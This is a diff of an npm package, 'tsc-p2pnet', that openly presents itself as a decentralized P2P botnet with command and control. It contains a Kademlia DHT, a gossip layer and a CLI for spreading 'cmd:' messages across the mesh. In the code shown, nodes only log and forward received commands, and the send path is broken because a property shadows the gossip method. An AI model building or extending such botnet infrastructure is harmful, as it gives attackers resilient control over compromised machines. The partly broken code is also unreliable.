tsc-p2pnet 1.0.1

package/bin/tsc-p2pnet.js

@@ -0,0 +1,230 @@
+#!/usr/bin/env node
+
+'use strict';
+
+const argv = require('minimist')(process.argv.slice(2));
+const Node = require('../src/node');
+const crypto = require('crypto');
+
+const command = argv._[0] || 'help';
+
+function showBanner() {
+  console.log('');
+  console.log('  ╔═══════════════════════════════════════════════════════════════╗');
+  console.log('  ║                   T S C - P 2 P N E T                     ║');
+  console.log('  ║          Decentralized P2P Botnet Network   v1.0.1         ║');
+  console.log('  ║   Kademlia DHT · gossip protocol · command & control       ║');
+  console.log('  ╚═══════════════════════════════════════════════════════════════╝');
+  console.log('');
+}
+
+function help() {
+  showBanner();
+  console.log(`
+USAGE:
+  tsc-p2pnet node --port <port> --id <identity> --bootstrap <host:port>
+    Start a P2P node
+
+  tsc-p2pnet send --key <key> --value <value> --bootstrap <host:port>
+    Gossip a command to the network
+
+  tsc-p2pnet status --bootstrap <host:port>
+    Query network status
+
+  tsc-p2pnet store --key <key> --value <value> --bootstrap <host:port>
+    Store a value in the DHT
+
+  tsc-p2pnet lookup --key <key> --bootstrap <host:port>
+    Look up a value in the DHT
+
+  tsc-p2pnet help
+    Show this help
+`);
+}
+
+async function cmdNode() {
+  showBanner();
+  const port = parseInt(argv.port, 10) || 0;
+  const identity = argv.id || `node-${crypto.randomBytes(4).toString('hex')}`;
+  const bootstrap = argv.bootstrap ? argv.bootstrap.split(',').map(s => s.trim()) : [];
+
+  const node = new Node({ identity, port });
+  await node.start();
+
+  console.log(`Node started: ${node.nodeId.toString('hex')}`);
+  console.log(`Identity: ${identity}`);
+  console.log(`Port: ${node.port}`);
+  console.log(`Bootstrap: ${bootstrap.join(', ') || 'none'}`);
+
+  if (bootstrap.length > 0) {
+    console.log('Bootstrapping...');
+    await node.join(bootstrap);
+    console.log(`Routing table has ${node.routingTable.size()} peers`);
+  }
+
+  const allPeers = node.routingTable.getAll();
+  for (const p of allPeers.slice(0, 10)) {
+    console.log(`  peer ${p.nodeId.toString('hex').substring(0, 16)}... @ ${p.address}:${p.port}`);
+  }
+
+  console.log('Listening... (Ctrl+C to stop)');
+
+  process.on('SIGINT', async () => {
+    console.log('\nShutting down...');
+    await node.stop();
+    process.exit(0);
+  });
+}
+
+async function cmdSend() {
+  showBanner();
+  const key = argv.key;
+  const value = argv.value;
+  const bootstrap = parseBootstrap(argv.bootstrap);
+
+  if (!key || !value) {
+    console.error('Error: --key and --value are required');
+    process.exit(1);
+  }
+
+  const node = new Node({ identity: `client-${crypto.randomBytes(4).toString('hex')}` });
+  await node.start();
+
+  if (bootstrap.length > 0) {
+    await node.join(bootstrap);
+  }
+
+  console.log(`Gossiping: ${key} = ${value}`);
+  await node.gossip(key, value);
+  console.log('Message propagated. Waiting for network to distribute...');
+
+  await delay(2000);
+  await node.stop();
+  console.log('Done.');
+}
+
+async function cmdStatus() {
+  showBanner();
+  const bootstrap = parseBootstrap(argv.bootstrap);
+
+  const node = new Node({ identity: `client-${crypto.randomBytes(4).toString('hex')}` });
+  await node.start();
+
+  if (bootstrap.length > 0) {
+    await node.join(bootstrap);
+  }
+
+  console.log(`Local Node ID: ${node.nodeId.toString('hex').substring(0, 16)}...`);
+  console.log(`Local Port: ${node.port}`);
+  console.log(`Known peers: ${node.routingTable.size()}`);
+
+  const allPeers = node.routingTable.getAll();
+  if (allPeers.length > 0) {
+    console.log('\nPeers in routing table:');
+    for (const p of allPeers) {
+      console.log(`  ${p.nodeId.toString('hex').substring(0, 16)}... @ ${p.address}:${p.port} (seen ${new Date(p.lastSeen).toISOString()})`);
+    }
+  } else {
+    console.log('No peers discovered. Is the network reachable?');
+  }
+
+  await node.stop();
+}
+
+async function cmdStore() {
+  showBanner();
+  const key = argv.key;
+  const value = argv.value;
+  const bootstrap = parseBootstrap(argv.bootstrap);
+
+  if (!key || !value) {
+    console.error('Error: --key and --value are required');
+    process.exit(1);
+  }
+
+  const node = new Node({ identity: `client-${crypto.randomBytes(4).toString('hex')}` });
+  await node.start();
+
+  if (bootstrap.length > 0) {
+    await node.join(bootstrap);
+  }
+
+  console.log(`Storing: ${key} = ${value}`);
+  const results = await node.store(key, value);
+
+  if (results.length === 0) {
+    console.log('No peers to store on. Ensure --bootstrap connects you to the network.');
+  } else {
+    for (const r of results) {
+      console.log(`  ${r.node}: ${r.success ? 'OK' : 'FAIL: ' + r.error}`);
+    }
+  }
+
+  await node.stop();
+}
+
+async function cmdLookup() {
+  showBanner();
+  const key = argv.key;
+  const bootstrap = parseBootstrap(argv.bootstrap);
+
+  if (!key) {
+    console.error('Error: --key is required');
+    process.exit(1);
+  }
+
+  const node = new Node({ identity: `client-${crypto.randomBytes(4).toString('hex')}` });
+  await node.start();
+
+  if (bootstrap.length > 0) {
+    await node.join(bootstrap);
+  }
+
+  console.log(`Looking up: ${key}`);
+  const result = await node.findValue(key);
+
+  if (result.found) {
+    console.log(`Found: ${result.value}`);
+    console.log(`Source: ${result.source}`);
+  } else {
+    console.log('Value not found in DHT');
+  }
+
+  await node.stop();
+}
+
+function parseBootstrap(bootstrapStr) {
+  if (!bootstrapStr) return [];
+  return bootstrapStr.split(',').map(s => s.trim()).filter(Boolean);
+}
+
+function delay(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+(async () => {
+  switch (command) {
+    case 'node':
+      await cmdNode();
+      break;
+    case 'send':
+      await cmdSend();
+      break;
+    case 'status':
+      await cmdStatus();
+      break;
+    case 'store':
+      await cmdStore();
+      break;
+    case 'lookup':
+      await cmdLookup();
+      break;
+    case 'help':
+    default:
+      help();
+      process.exit(0);
+  }
+})().catch(err => {
+  console.error('Fatal error:', err.message);
+  process.exit(1);
+});

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "tsc-p2pnet",
+  "version": "1.0.1",
+  "description": "Decentralized P2P botnet mesh — Kademlia DHT + gossip protocol",
+  "bin": {
+    "tsc-p2pnet": "bin/tsc-p2pnet.js"
+  },
+  "dependencies": {
+    "minimist": "1.2.8"
+  },
+  "author": "SURUJ404",
+  "license": "GPL-3.0"
+}

package/src/dht.js

@@ -0,0 +1,124 @@
+'use strict';
+
+const crypto = require('crypto');
+
+const VALUE_TTL = 3600000;
+
+class DHT {
+  constructor(node) {
+    this.node = node;
+    this.localStore = new Map();
+    this._republishTimer = null;
+  }
+
+  start() {
+    this._republishTimer = setInterval(() => this._republish(), 300000);
+  }
+
+  stop() {
+    if (this._republishTimer) {
+      clearInterval(this._republishTimer);
+      this._republishTimer = null;
+    }
+  }
+
+  async store(key, value) {
+    const keyHash = crypto.createHash('sha1').update(key).digest();
+    const keyHex = keyHash.toString('hex');
+
+    this.localStore.set(keyHex, { value, timestamp: Date.now() });
+
+    const closest = this.node.routingTable.getClosest(keyHash, this.node.k);
+    const results = [];
+
+    for (const entry of closest) {
+      try {
+        await this.node._sendRPC(entry.address, entry.port, 'STORE', {
+          key: keyHex,
+          value: value,
+          ttl: VALUE_TTL
+        }, 5, entry.nodeId);
+        results.push({ node: `${entry.address}:${entry.port}`, success: true });
+      } catch (e) {
+        results.push({ node: `${entry.address}:${entry.port}`, success: false, error: e.message });
+      }
+    }
+
+    return results;
+  }
+
+  async findValue(key) {
+    const keyHash = crypto.createHash('sha1').update(key).digest();
+    const keyHex = keyHash.toString('hex');
+
+    if (this.localStore.has(keyHex)) {
+      return { found: true, value: this.localStore.get(keyHex).value, source: 'local' };
+    }
+
+    const queried = new Set();
+    let closest = this.node.routingTable.getClosest(keyHash, this.node.alpha || 3);
+
+    while (closest.length > 0) {
+      for (const entry of closest) {
+        const addr = `${entry.address}:${entry.port}`;
+        if (queried.has(addr)) continue;
+        queried.add(addr);
+
+        try {
+          const resp = await this.node._sendRPC(entry.address, entry.port, 'FIND_VALUE', { key: keyHex }, 5, entry.nodeId);
+
+          if (resp.type === 'VALUE' && resp.payload.value !== undefined) {
+            return { found: true, value: resp.payload.value, source: addr };
+          }
+
+          if (resp.type === 'FOUND_NODES' && resp.payload.nodes) {
+            for (const n of resp.payload.nodes) {
+              const nId = Buffer.from(n.nodeId, 'hex');
+              if (!queried.has(`${n.address}:${n.port}`)) {
+                this.node.routingTable.update(nId, n.address, n.port);
+              }
+            }
+          }
+        } catch (e) {
+        }
+      }
+
+      closest = this.node.routingTable.getClosest(keyHash, this.node.alpha || 3)
+        .filter(e => !queried.has(`${e.address}:${e.port}`));
+
+      if (queried.size > 20) break;
+    }
+
+    return { found: false };
+  }
+
+  getLocal(key) {
+    const entry = this.localStore.get(key);
+    if (entry && Date.now() - entry.timestamp < VALUE_TTL) {
+      return entry.value;
+    }
+    if (entry) this.localStore.delete(key);
+    return null;
+  }
+
+  setLocal(key, value) {
+    this.localStore.set(key, { value, timestamp: Date.now() });
+  }
+
+  _republish() {
+    const now = Date.now();
+    for (const [key, entry] of this.localStore) {
+      if (now - entry.timestamp > VALUE_TTL) {
+        this.localStore.delete(key);
+      } else {
+        const keyBuf = Buffer.from(key, 'hex');
+        const closest = this.node.routingTable.getClosest(keyBuf, this.node.k);
+        for (const c of closest) {
+          this.node._sendRPC(c.address, c.port, 'STORE', { key, value: entry.value, ttl: VALUE_TTL }, 5, c.nodeId).catch(() => {});
+        }
+      }
+    }
+  }
+}
+
+module.exports = DHT;

package/src/gossip.js

@@ -0,0 +1,95 @@
+'use strict';
+
+const crypto = require('crypto');
+
+class Gossip {
+  constructor(node) {
+    this.node = node;
+    this.seen = new Set();
+    this.alpha = 3;
+    this.defaultTtl = 5;
+    this.heartbeatInterval = 30000;
+    this._heartbeatTimer = null;
+  }
+
+  start() {
+    this._heartbeatTimer = setInterval(() => this._sendHeartbeat(), this.heartbeatInterval);
+  }
+
+  stop() {
+    if (this._heartbeatTimer) {
+      clearInterval(this._heartbeatTimer);
+      this._heartbeatTimer = null;
+    }
+  }
+
+  _messageId(msg) {
+    return `${msg.type}:${msg.requestId}`;
+  }
+
+  hasSeen(msg) {
+    return this.seen.has(this._messageId(msg));
+  }
+
+  markSeen(msg) {
+    this.seen.add(this._messageId(msg));
+    if (this.seen.size > 10000) {
+      const first = this.seen.values().next().value;
+      this.seen.delete(first);
+    }
+  }
+
+  async propagate(msg, excludeAddr = null) {
+    const msgId = this._messageId(msg);
+    if (this.seen.has(msgId)) return;
+    this.markSeen(msg);
+
+    if (msg.ttl <= 0) return;
+
+    const forwardMsg = { ...msg, ttl: msg.ttl - 1 };
+
+    const closest = this.node.routingTable.getClosest(
+      Buffer.from(msg.senderId, 'hex'),
+      this.alpha
+    );
+
+    for (const entry of closest) {
+      if (excludeAddr && `${entry.address}:${entry.port}` === excludeAddr) continue;
+      try {
+        await this.node._sendRaw(entry.address, entry.port, forwardMsg);
+      } catch (e) {
+      }
+    }
+  }
+
+  async broadcast(key, value, ttl = this.defaultTtl) {
+    const msg = {
+      type: 'GOSSIP',
+      senderId: this.node.nodeId.toString('hex'),
+      requestId: crypto.randomBytes(4).readUInt32BE(0),
+      senderAddr: null,
+      ttl,
+      payload: { key, value }
+    };
+    this.markSeen(msg);
+    await this.propagate(msg);
+  }
+
+  async _sendHeartbeat() {
+    const msg = {
+      type: 'GOSSIP',
+      senderId: this.node.nodeId.toString('hex'),
+      requestId: crypto.randomBytes(4).readUInt32BE(0),
+      senderAddr: null,
+      ttl: 3,
+      payload: {
+        type: 'heartbeat',
+        peerCount: this.node.routingTable.size()
+      }
+    };
+    this.markSeen(msg);
+    await this.propagate(msg);
+  }
+}
+
+module.exports = Gossip;

package/src/kbucket.js

@@ -0,0 +1,98 @@
+'use strict';
+
+class KBucket {
+  constructor(localNodeId, k = 20) {
+    this.localNodeId = localNodeId;
+    this.k = k;
+    this.buckets = [];
+    for (let i = 0; i < 160; i++) {
+      this.buckets.push([]);
+    }
+  }
+
+  _bucketIndex(targetId) {
+    const d = xorDistance(this.localNodeId, targetId);
+    for (let i = 0; i < d.length; i++) {
+      if (d[i] !== 0) {
+        return i * 8 + Math.clz32(d[i]) - 24;
+      }
+    }
+    return -1;
+  }
+
+  update(nodeId, address, port) {
+    if (nodeId.equals(this.localNodeId)) return;
+    const idx = this._bucketIndex(nodeId);
+    if (idx === -1) return;
+    const bucket = this.buckets[idx];
+    const now = Date.now();
+    const existingIdx = bucket.findIndex(e => e.nodeId.equals(nodeId));
+
+    if (existingIdx !== -1) {
+      const entry = bucket[existingIdx];
+      entry.address = address;
+      entry.port = port;
+      entry.lastSeen = now;
+      bucket.splice(existingIdx, 1);
+      bucket.push(entry);
+    } else if (bucket.length < this.k) {
+      bucket.push({ nodeId, address, port, lastSeen: now, latency: 0 });
+    } else {
+      if (now - bucket[0].lastSeen > 3600000) {
+        bucket.shift();
+        bucket.push({ nodeId, address, port, lastSeen: now, latency: 0 });
+      }
+    }
+  }
+
+  getClosest(targetId, count = this.k) {
+    const target = typeof targetId === 'string' ? Buffer.from(targetId, 'hex') : targetId;
+    const all = [];
+    for (let i = 0; i < this.buckets.length; i++) {
+      for (const entry of this.buckets[i]) {
+        all.push(entry);
+      }
+    }
+    all.sort((a, b) => {
+      const da = xorDistance(a.nodeId, target);
+      const db = xorDistance(b.nodeId, target);
+      return Buffer.compare(da, db);
+    });
+    return all.slice(0, count);
+  }
+
+  getAll() {
+    const all = [];
+    for (let i = 0; i < this.buckets.length; i++) {
+      for (const entry of this.buckets[i]) {
+        all.push(entry);
+      }
+    }
+    return all;
+  }
+
+  removeNode(nodeId) {
+    const idx = this._bucketIndex(nodeId);
+    if (idx === -1) return;
+    const bucket = this.buckets[idx];
+    const entryIdx = bucket.findIndex(e => e.nodeId.equals(nodeId));
+    if (entryIdx !== -1) {
+      bucket.splice(entryIdx, 1);
+    }
+  }
+
+  size() {
+    let total = 0;
+    for (const bucket of this.buckets) total += bucket.length;
+    return total;
+  }
+}
+
+function xorDistance(a, b) {
+  const len = Math.min(a.length, b.length);
+  const result = Buffer.alloc(len);
+  for (let i = 0; i < len; i++) result[i] = a[i] ^ b[i];
+  return result;
+}
+
+module.exports = KBucket;

package/src/node.js

@@ -0,0 +1,278 @@
+'use strict';
+
+const dgram = require('dgram');
+const crypto = require('crypto');
+const KBucket = require('./kbucket');
+const DHT = require('./dht');
+const Gossip = require('./gossip');
+const Protocol = require('./protocol');
+
+class Node {
+  constructor(options = {}) {
+    this.identity = options.identity || `node-${crypto.randomBytes(4).toString('hex')}`;
+    this.port = options.port || 0;
+    this.k = options.k || 20;
+    this.alpha = options.alpha || 3;
+
+    this.nodeId = crypto.createHash('sha1').update(this.identity).digest();
+    this.routingTable = new KBucket(this.nodeId, this.k);
+    this.dht = new DHT(this);
+    this.gossip = new Gossip(this);
+    this.socket = dgram.createSocket('udp4');
+    this.socket.on('error', (err) => {
+      console.error(`[${this.identity}] Socket error: ${err.message}`);
+    });
+    this.pendingRequests = new Map();
+    this.running = false;
+
+    this._onMessage = this._onMessage.bind(this);
+    this._refreshTimer = null;
+  }
+
+  async start() {
+    return new Promise((resolve) => {
+      this.socket.on('message', this._onMessage);
+      this.socket.bind(this.port, '0.0.0.0', () => {
+        this.port = this.socket.address().port;
+        this.running = true;
+        this.dht.start();
+        this.gossip.start();
+        this._refreshTimer = setInterval(() => this._refresh(), 60000);
+        resolve();
+      });
+    });
+  }
+
+  async stop() {
+    this.running = false;
+    if (this._refreshTimer) {
+      clearInterval(this._refreshTimer);
+      this._refreshTimer = null;
+    }
+    this.dht.stop();
+    this.gossip.stop();
+    this.socket.close();
+  }
+
+  async join(bootstrapNodes) {
+    for (const addr of bootstrapNodes) {
+      const [host, portStr] = addr.split(':');
+      const port = parseInt(portStr, 10);
+      if (isNaN(port) || port < 1 || port > 65535) continue;
+      try {
+        const resp = await this._sendRPC(host, port, 'FIND_NODE', {
+          targetId: this.nodeId.toString('hex')
+        });
+        if (resp.type === 'FOUND_NODES' && resp.payload.nodes) {
+          for (const n of resp.payload.nodes) {
+            const nId = Buffer.from(n.nodeId, 'hex');
+            this.routingTable.update(nId, n.address, n.port);
+          }
+        }
+      } catch (e) {
+      }
+    }
+  }
+
+  async findNode(targetId) {
+    const targetBuf = Buffer.from(targetId, 'hex');
+    const queried = new Set();
+    let closest = this.routingTable.getClosest(targetBuf, this.alpha);
+
+    while (closest.length > 0) {
+      for (const entry of closest) {
+        const addr = `${entry.address}:${entry.port}`;
+        if (queried.has(addr)) continue;
+        queried.add(addr);
+
+        try {
+          const resp = await this._sendRPC(entry.address, entry.port, 'FIND_NODE', { targetId }, 5, entry.nodeId);
+          if (resp.type === 'FOUND_NODES' && resp.payload.nodes) {
+            for (const n of resp.payload.nodes) {
+              const nId = Buffer.from(n.nodeId, 'hex');
+              this.routingTable.update(nId, n.address, n.port);
+            }
+          }
+        } catch (e) {
+        }
+      }
+
+      closest = this.routingTable.getClosest(targetBuf, this.alpha)
+        .filter(e => !queried.has(`${e.address}:${e.port}`));
+
+      if (queried.size > 20) break;
+    }
+
+    return this.routingTable.getClosest(targetBuf, this.k);
+  }
+
+  async store(key, value) {
+    return this.dht.store(key, value);
+  }
+
+  async findValue(key) {
+    return this.dht.findValue(key);
+  }
+
+  async gossip(key, value, ttl = 5) {
+    return this.gossip.broadcast(key, value, ttl);
+  }
+
+  _sendRPC(host, port, type, payload, ttl = 5, nodeId = null) {
+    return new Promise((resolve, reject) => {
+      const requestId = crypto.randomBytes(4).readUInt32BE(0);
+      const msg = {
+        type,
+        senderId: this.nodeId.toString('hex'),
+        requestId,
+        ttl,
+        payload: payload || {}
+      };
+
+      const timer = setTimeout(() => {
+        this.pendingRequests.delete(requestId);
+        if (nodeId) this.routingTable.removeNode(nodeId);
+        reject(new Error(`RPC timeout: ${type} to ${host}:${port}`));
+      }, 10000);
+
+      this.pendingRequests.set(requestId, { resolve, reject, timer });
+
+      try {
+        const data = Protocol.encode(msg);
+        this.socket.send(data, 0, data.length, port, host, (err) => {
+          if (err) {
+            clearTimeout(timer);
+            this.pendingRequests.delete(requestId);
+            if (nodeId) this.routingTable.removeNode(nodeId);
+            reject(err);
+          }
+        });
+      } catch (e) {
+        clearTimeout(timer);
+        this.pendingRequests.delete(requestId);
+        if (nodeId) this.routingTable.removeNode(nodeId);
+        reject(e);
+      }
+    });
+  }
+
+  _sendRaw(host, port, msg) {
+    return new Promise((resolve, reject) => {
+      try {
+        const data = Protocol.encode(msg);
+        this.socket.send(data, 0, data.length, port, host, (err) => {
+          if (err) reject(err);
+          else resolve();
+        });
+      } catch (e) {
+        reject(e);
+      }
+    });
+  }
+
+  _onMessage(buf, rinfo) {
+    try {
+      const msg = Protocol.decode(buf);
+      const senderId = Buffer.from(msg.senderId, 'hex');
+
+      this.routingTable.update(senderId, rinfo.address, rinfo.port);
+
+      if (Protocol.isResponse(msg.type)) {
+        const pending = this.pendingRequests.get(msg.requestId);
+        if (pending) {
+          clearTimeout(pending.timer);
+          this.pendingRequests.delete(msg.requestId);
+          pending.resolve(msg);
+        }
+      } else {
+        this._handleRPC(msg, rinfo).catch(() => {});
+      }
+    } catch (e) {
+    }
+  }
+
+  async _handleRPC(msg, rinfo) {
+    switch (msg.type) {
+      case 'PING': {
+        const resp = Protocol.createResponse(msg);
+        resp.senderId = this.nodeId.toString('hex');
+        this._sendRaw(rinfo.address, rinfo.port, resp).catch(() => {});
+        break;
+      }
+
+      case 'FIND_NODE': {
+        const targetId = msg.payload.targetId;
+        const targetBuf = Buffer.from(targetId, 'hex');
+        const closest = this.routingTable.getClosest(targetBuf, this.k);
+        const nodes = closest.map(e => ({
+          nodeId: e.nodeId.toString('hex'),
+          address: e.address,
+          port: e.port
+        }));
+        const resp = Protocol.createResponse(msg, { nodes });
+        resp.senderId = this.nodeId.toString('hex');
+        this._sendRaw(rinfo.address, rinfo.port, resp).catch(() => {});
+        break;
+      }
+
+      case 'STORE': {
+        const { key, value } = msg.payload;
+        this.dht.setLocal(key, value);
+        const resp = Protocol.createResponse(msg, { stored: true });
+        resp.senderId = this.nodeId.toString('hex');
+        this._sendRaw(rinfo.address, rinfo.port, resp).catch(() => {});
+        break;
+      }
+
+      case 'FIND_VALUE': {
+        const key = msg.payload.key;
+        const localValue = this.dht.getLocal(key);
+        if (localValue !== null) {
+          const resp = Protocol.createResponse(msg, { value: localValue });
+          resp.senderId = this.nodeId.toString('hex');
+          this._sendRaw(rinfo.address, rinfo.port, resp).catch(() => {});
+        } else {
+          const keyBuf = Buffer.from(key, 'hex');
+          const closest = this.routingTable.getClosest(keyBuf, this.k);
+          const nodes = closest.map(e => ({
+            nodeId: e.nodeId.toString('hex'),
+            address: e.address,
+            port: e.port
+          }));
+          const resp = Protocol.createResponse(msg, { nodes });
+          resp.type = 'FOUND_NODES';
+          resp.senderId = this.nodeId.toString('hex');
+          this._sendRaw(rinfo.address, rinfo.port, resp).catch(() => {});
+        }
+        break;
+      }
+
+      case 'GOSSIP': {
+        const payload = msg.payload;
+        if (payload.type === 'heartbeat') {
+        } else if (payload.key && payload.key.startsWith('cmd:')) {
+          console.log(`[${this.identity}] GOT COMMAND: ${payload.key} = ${payload.value}`);
+        }
+
+        this.gossip.propagate(msg, `${rinfo.address}:${rinfo.port}`).catch(() => {});
+
+        const resp = Protocol.createResponse(msg, { received: true });
+        resp.senderId = this.nodeId.toString('hex');
+        this._sendRaw(rinfo.address, rinfo.port, resp).catch(() => {});
+        break;
+      }
+    }
+  }
+
+  _refresh() {
+    const allNodes = this.routingTable.getAll();
+    if (allNodes.length === 0) return;
+
+    for (let i = 0; i < 3; i++) {
+      const randomId = crypto.randomBytes(20).toString('hex');
+      this.findNode(randomId).catch(() => {});
+    }
+  }
+}
+
+module.exports = Node;

package/src/protocol.js

@@ -0,0 +1,66 @@
+'use strict';
+
+const crypto = require('crypto');
+
+const REQUEST_TYPES = ['PING', 'FIND_NODE', 'STORE', 'FIND_VALUE', 'GOSSIP'];
+const RESPONSE_TYPES = ['PONG', 'FOUND_NODES', 'STORED', 'VALUE', 'GOSSIP_ACK'];
+const MAX_PACKET_SIZE = 1400;
+
+class Protocol {
+  static createMessage(type, senderId, payload = {}, ttl = 5) {
+    return {
+      type,
+      senderId: senderId.toString('hex'),
+      requestId: crypto.randomBytes(4).readUInt32BE(0),
+      senderAddr: null,
+      ttl,
+      payload
+    };
+  }
+
+  static encode(msg) {
+    const str = JSON.stringify(msg);
+    const buf = Buffer.from(str, 'utf8');
+    if (buf.length > MAX_PACKET_SIZE) {
+      throw new Error(`Message too large: ${buf.length} bytes > ${MAX_PACKET_SIZE}`);
+    }
+    return buf;
+  }
+
+  static decode(buf) {
+    const str = buf.toString('utf8');
+    return JSON.parse(str);
+  }
+
+  static isRequest(type) {
+    return REQUEST_TYPES.includes(type);
+  }
+
+  static isResponse(type) {
+    return RESPONSE_TYPES.includes(type);
+  }
+
+  static responseTypeFor(requestType) {
+    const map = {
+      'PING': 'PONG',
+      'FIND_NODE': 'FOUND_NODES',
+      'STORE': 'STORED',
+      'FIND_VALUE': 'VALUE',
+      'GOSSIP': 'GOSSIP_ACK'
+    };
+    return map[requestType];
+  }
+
+  static createResponse(request, additionalPayload = {}) {
+    return {
+      type: Protocol.responseTypeFor(request.type),
+      senderId: null,
+      requestId: request.requestId,
+      senderAddr: null,
+      ttl: request.ttl,
+      payload: { ...additionalPayload }
+    };
+  }
+}
+
+module.exports = Protocol;